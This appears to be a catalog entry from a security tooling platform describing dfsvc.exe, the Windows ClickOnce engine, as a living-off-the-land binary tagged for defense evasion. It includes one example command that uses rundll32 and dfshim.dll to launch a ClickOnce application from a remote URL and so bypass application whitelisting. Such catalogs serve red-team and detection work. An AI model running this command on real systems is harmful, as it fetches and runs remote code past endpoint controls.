windows enabled community high v1.0.0

dfsvc

ClickOnce engine in Windows used by .NET Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe.

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dfsvc
dfsvc

Sandbox: execFile · Timeout: 30s

Capabilities

security.defense-evasion.bypass

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host) (Use binary to bypass Application whitelisting)

rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}

Detection

Documentation

dfsvc

dfsvc is a Windows LOLBin. ClickOnce engine in Windows used by .NET Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe.

References